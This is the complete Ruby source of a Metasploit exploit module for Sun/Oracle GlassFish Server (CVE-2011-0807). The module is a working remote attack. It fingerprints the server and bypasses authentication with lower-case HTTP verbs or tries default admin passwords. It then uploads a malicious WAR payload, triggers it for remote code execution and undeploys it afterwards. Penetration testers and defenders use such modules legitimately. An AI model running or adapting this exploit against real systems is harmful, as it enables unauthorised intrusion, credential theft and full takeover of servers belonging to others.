metasploit-framework/modules/exploits/multi/http/glassfish_deployer.rb

824 lines
26 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'nokogiri'
require 'metasploit/framework/login_scanner/glassfish'
require 'metasploit/framework/credential_collection'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
'Description' => %q{
This module logs in to an GlassFish Server (Open Source or Commercial) using various
methods (such as authentication bypass, default credentials, or user-supplied login),
and deploys a malicious war file in order to get remote code execution. It has been
tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer
GlassFish versions do not allow remote access (Secure Admin) by default, but is required
for exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'juan vazquez', # Msf module for Glassfish 3.0
'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1
'sinn3r' # Rewrite for everything
],
'References' =>
[
['CVE', '2011-0807'],
['OSVDB', '71948']
],
'Platform' => ['win', 'linux', 'java'],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ],
[ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
[ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DisclosureDate' => "Aug 4 2011",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(4848),
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false])
], self.class)
end
#
# Send GET or POST request, and return the response
#
def send_glassfish_request(path, method, session='', data=nil, ctype=nil)
headers = {}
headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank?
headers['Content-Type'] = ctype if ctype
res = send_request_raw({
'uri' => path,
'method' => method,
'data' => data,
'headers' => headers,
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res
end
#
# Return target
#
def auto_target(session, res, version)
print_status("Attempting to automatically select a target...")
res = query_serverinfo(session, version)
return nil unless res
return nil unless res.body
plat = detect_platform(res.body)
arch = detect_arch(res.body)
# No arch or platform found?
return nil if !arch || !plat
# see if we have a match
targets.each do |t|
return t if (t['Platform'] == plat) && (t['Arch'] == arch)
end
# no matching target found
nil
end
#
# Return platform (win, linux, or osx)
#
def detect_platform(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.name = (.*)/
os = $1
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
when /Mac OS X/
return 'osx'
end
end
end
return 'java'
end
#
# Return ARCH
#
def detect_arch(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.arch = (.*)/
ar = $1
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X86
end
end
end
end
#
# Return server information
#
def query_serverinfo(session,version)
res = ''
if version == '2.x' || version == '9.x'
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
res = send_glassfish_request(path, @verbs['GET'], session)
else
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
res = send_glassfish_request(path, @verbs['GET'], session)
if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
res = send_glassfish_request(path, @verbs['GET'], session)
end
end
if !res || res.code != 200
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
#
# Return viewstate and entry before deleting a GlassFish application
#
def get_delete_info(session, version, app='')
if version == '2.x' || version == '9.x'
path = '/applications/webApplications.jsf'
res = send_glassfish_request(path, @verbs['GET'], session)
if !res || res.code != 200
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
input_id = "javax.faces.ViewState"
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
viewstate = res.body.scan(p)[0][0]
entry = nil
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
else
path = '/common/applications/applications.jsf?bare=true'
res = send_glassfish_request(path, @verbs['GET'], session)
if !res || res.code != 200
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
viewstate = get_viewstate(res.body)
entry = nil
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
end
if !viewstate
print_error("Failed: Error getting ViewState")
return nil
elsif !entry
print_error("Failed: Error getting the entry to delete")
end
return viewstate, entry
end
#
# Send an "undeploy" request to Glassfish and remove our backdoor
#
def undeploy(viewstate, session, entry)
#Send undeployment request
data = [
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
"&#{Rex::Text.uri_encode(entry)}=true",
"&propertyForm%3AhelpKey=ref-applications.html",
"&propertyForm_hidden=propertyForm_hidden",
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.execute=%40all",
"&javax.faces.partial.render=%40all",
"&bare=true",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.ajax=true"
].join()
path = '/common/applications/applications.jsf'
ctype = 'application/x-www-form-urlencoded'
res = send_glassfish_request(path, @verbs['POST'], session, data, ctype)
if !res
print_error("Undeployment failed on #{path} - No Response")
else
if res.code < 200 || res.code >= 300
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
end
end
end
def report_glassfish_version(banner)
report_note(
host: rhost,
type: 'glassfish.banner',
data: banner,
update: :unique_data
)
end
#
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
# banner (ex: Sun Java System Application Server 9.x)
#
def get_version(res)
# Extract banner from response
banner = res.headers['Server']
# Default value for edition and glassfish version
edition = 'Commercial'
version = 'Unknown'
# Set edition (Open Source or Commercial)
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
edition = 'Open Source' if banner =~ p
# Set version. Some GlassFish servers return banner "GlassFish v3".
if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/
version = $2
elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown'
version = $1
elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown'
version = '2.x'
elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown'
version = '9.x'
end
if version == nil || version == 'Unknown'
print_status("Unsupported version: #{banner}")
end
report_glassfish_version(banner)
return edition, version, banner
end
#
# Return the formatted version of the POST data
#
def format_2_x_war(boundary,name,value=nil, war=nil)
data = ''
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
return data
end
#
# Return the formatted version of the POST data
#
def format(boundary,name,value=nil, war=nil)
data = ''
if war
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
else
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
data << "\r\n\r\n"
data << "#{value}\r\n"
end
return data
end
#
# Return POST data and data length, based on GlassFish edition
#
def get_upload_data(opts = {})
boundary = opts[:boundary]
version = opts[:version]
war = opts[:war]
app_base = opts[:app_base]
typefield = opts[:typefield]
status_checkbox = opts[:status_checkbox]
start = opts[:start]
viewstate = opts[:viewstate]
data = ''
if version == '3.0'
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadparam_data = "form:sheet1:section1:prop1:fileupload"
boundary = "--#{boundary}"
data = [
format(boundary, app_base, nil, war),
format(boundary, uploadParam_name, uploadparam_data),
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:sheet1:section1:prop1:action", "client"),
format(boundary, typefield, "war"),
format(boundary, "form:war:psection:cxp:ctx", app_base),
format(boundary, "form:war:psection:nameProp:appName", app_base),
format(boundary, "form:war:psection:vsProp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:war:psection:librariesProp:library", ""),
format(boundary, "form:war:psection:descriptionProp:description", ""),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
"#{boundary}--"
].join()
elsif version == '2.x' || version == '9.x'
uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = 'form:title:topButtons:uploadButton'
boundary = "-----------------------------#{boundary}"
data = [
format_2_x_war(boundary, app_base, nil, war),
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
format(boundary, "uploadRdBtn", "client"),
format(boundary, uploadParam_name, uploadParam_data),
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
format(boundary, "form:title:ps:psec:vsp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:title:ps:psec:librariesProp:library", ""),
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
format(boundary, "form:helpKey", "uploaddev.html"),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
format(boundary, focusElementId_name, focusElementId_data),
"#{boundary}--"
].join()
else
boundary = "-----------------------------#{boundary}"
#Setup dynamic arguments
num1 = start.to_i
num2 = num1 + 14
num3 = num2 + 2
num4 = num3 + 2
num5 = num4 + 2
num6 = num5 + 2
num7 = num6 + 1
id0 = num4
id1 = num4 + 1
id2 = num4 + 2
id3 = num4 + 3
id4 = num4 + 4
id5 = num4 + 5
id6 = num4 + 6
id7 = num4 + 7
id8 = num4 + 8
id9 = num4 + 9
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_value = "form:sheet1:section1:prop1:fileupload"
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = "form:title2:bottomButtons:uploadButton"
data = [
format(boundary,"uploadRdBtn","client"),
## web service
format(boundary, app_base, nil, war),
## sheet1
format(boundary, uploadParam_name, uploadParam_value),
format(boundary,"form:sheet1:section1:prop1:extension",".war"),
format(boundary,"form:sheet1:section1:prop1:action","client"),
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:appClient:psection:descriptionProp:description"),
## war
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:war:psection:vsProp:vs"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
format(boundary,"form:war:psection:librariesProp:library"),
format(boundary,"form:war:psection:descriptionProp:description"),
format(boundary,"form_hidden","form_hidden"),
format(boundary,"javax.faces.ViewState","#{viewstate}"),
format(boundary, focusElementId_name, focusElementId_data)
].join()
item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
item_list_data = "|server|com.sun.webui.jsf.separator|"
item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
item_value_data = "server"
data << format(boundary, item_list_name, item_list_data)
data << format(boundary, item_value_name, item_value_data)
data << "#{boundary}--"
data << "\r\n\r\n"
end
return data
end
def get_viewstate(body)
@vewstate ||= lambda {
noko = Nokogiri::HTML(body)
inputs = noko.search('input')
hidden_inputs = []
inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'}
hidden_inputs.each do |e|
if e.attributes['name'].text == 'javax.faces.ViewState'
return e.attributes['value'].text
end
end
''
}.call
end
#
# Upload our payload, and execute it. This function will also try to automatically
# clean up after itself.
#
def upload_exec(opts = {})
session = opts[:session]
app_base = opts[:app_base]
jsp_name = opts[:jsp_name]
war = opts[:war]
edition = opts[:edition]
version = opts[:version]
if version == '2.x' || version == '9.x'
path = "/applications/upload.jsf?appType=webApp"
res = send_glassfish_request(path, @verbs['GET'], session)
# Obtain some properties
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
viewstate = get_viewstate(res.body)
status_checkbox = res.body.scan(p2)[0][0]
boundary = rand_text_alphanumeric(28)
else
path = "/common/applications/uploadFrame.jsf"
res = send_glassfish_request(path, @verbs['GET'], session)
# Obtain some properties
res.body =~ /propertySheetSection(\d{3})/
start = $1
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
rnd_text = rand_text_alphanumeric(29)
viewstate = get_viewstate(res.body)
typefield = res.body.scan(p2)[0][0]
status_checkbox = res.body.scan(p3)[0][0]
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
end
# Get upload data
if version == '3.0'
ctype = "multipart/form-data; boundary=#{boundary}"
elsif version == '2.x' || version == '9.x'
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
typefield = ''
start = ''
else
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
end
post_data = get_upload_data({
:boundary => boundary,
:version => version,
:war => war,
:app_base => app_base,
:typefield => typefield,
:status_checkbox => status_checkbox,
:start => start,
:viewstate => viewstate
})
# Upload our payload
if version == '2.x' || version == '9.x'
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
else
path = '/common/applications/uploadFrame.jsf?'
path << 'form:title:topButtons:uploadButton=Processing...'
path << '&bare=false'
end
res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype)
# Print upload result
if res.code == 302
print_status("Successfully uploaded")
else
print_error("Error uploading #{res.code}")
return
end
#Execute our payload using the application interface (no need to use auth bypass technique)
jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp")
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
{
'Msf' => framework,
'MsfExploit' => self,
}
)
print_status("Executing #{jsp_path}...")
req = nclient.request_raw({
'uri' => jsp_path,
'method' => 'GET',
})
if req
res = nclient.send_recv(req, 90)
else
print_status("Error: #{rhost} did not respond on #{app_rport}.")
end
# Sleep for a bit before cleanup
select(nil, nil, nil, 5)
# Start undeploying
print_status("Getting information to undeploy...")
viewstate, entry = get_delete_info(session, version, app_base)
if !viewstate
fail_with(Failure::Unknown, "Unable to get viewstate")
elsif (not entry)
fail_with(Failure::Unknown, "Unable to get entry")
end
print_status("Undeploying #{app_base}...")
undeploy(viewstate, session, entry)
print_status("Undeployment complete.")
end
def init_loginscanner
@cred_collection = Metasploit::Framework::CredentialCollection.new
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
configure_http_login_scanner(
cred_details: @cred_collection,
connection_timeout: 5
)
)
end
def report_auth_bypass(version)
report_vuln(
name: 'GlassFish HTTP Method Authentication Bypass',
info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \
'attacker to bypass authentication by sending an HTTP verb in lower-case.',
host: rhost,
port: rport,
proto: 'tcp',
refs: self.references
)
end
def try_glassfish_auth_bypass(version)
sid = nil
if version == '2.x' || version == '9.x'
print_status("Trying auth bypass...")
res = send_glassfish_request('/applications/upload.jsf', 'get')
title = '<title>Deploy Enterprise Applications/Modules</title>'
if res && res.code.to_i == 200 && res.body.include?(title)
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
end
else
# 3.0
print_status("Trying auth bypass...")
res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get')
title = '<title>Deploy Applications or Modules'
if res && res.code.to_i == 200 && res.body.include?(title)
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
end
end
report_auth_bypass(version) if sid
sid
end
def my_target_host
my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}"
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'glassfish',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: DateTime.now
}.merge(service_data)
create_credential_login(login_data)
end
def try_normal_login(version)
init_loginscanner
case version
when /2\.x|9\.x/
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: 'admin',
private: 'adminadmin',
private_type: :password
))
when /^3\./
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: 'admin',
private: '',
private_type: :password
))
end
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: datastore['USERNAME'],
private: datastore['PASSWORD'],
private_type: :password
))
@scanner.send_request({'uri'=>normalize_uri(target_uri.path)})
@scanner.version = version
@cred_collection.each do |raw|
cred = raw.to_credential
print_status("Trying to login as #{cred.public}:#{cred.private}")
result = @scanner.attempt_login(cred)
if result.status == Metasploit::Model::Login::Status::SUCCESSFUL
report_cred(user: cred.public, password: cred.private)
return @scanner.jsession
end
end
nil
end
def attempt_login(version)
sid = nil
if version =~ /3\.0|2\.x|9\.x/
sid = try_glassfish_auth_bypass(version)
return sid if sid
end
try_normal_login(version)
end
def make_war(selected_target)
p = exploit_regenerate_payload(selected_target.platform, selected_target.arch)
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => selected_target.arch,
:platform => selected_target.platform
}).to_s
return app_base, jsp_name, war
end
def exploit
# Invoke index to gather some info
res = send_glassfish_request('/common/index.jsf', 'GET')
if res.code == 302
res = send_glassfish_request('/login.jsf', 'GET')
end
# Get GlassFish version
edition, version, banner = get_version(res)
print_status("Glassfish edition: #{banner}")
# Set HTTP verbs. Lower-case is used to bypass auth on v3.0
@verbs = {
'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET',
'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST',
}
sid = attempt_login(version)
unless sid
fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate")
end
selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target
fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target
app_base, jsp_name, war = make_war(selected_target)
print_status("Uploading payload...")
res = upload_exec({
:session => sid,
:app_base => app_base,
:jsp_name => jsp_name,
:war => war,
:edition => edition,
:version => version
})
end
end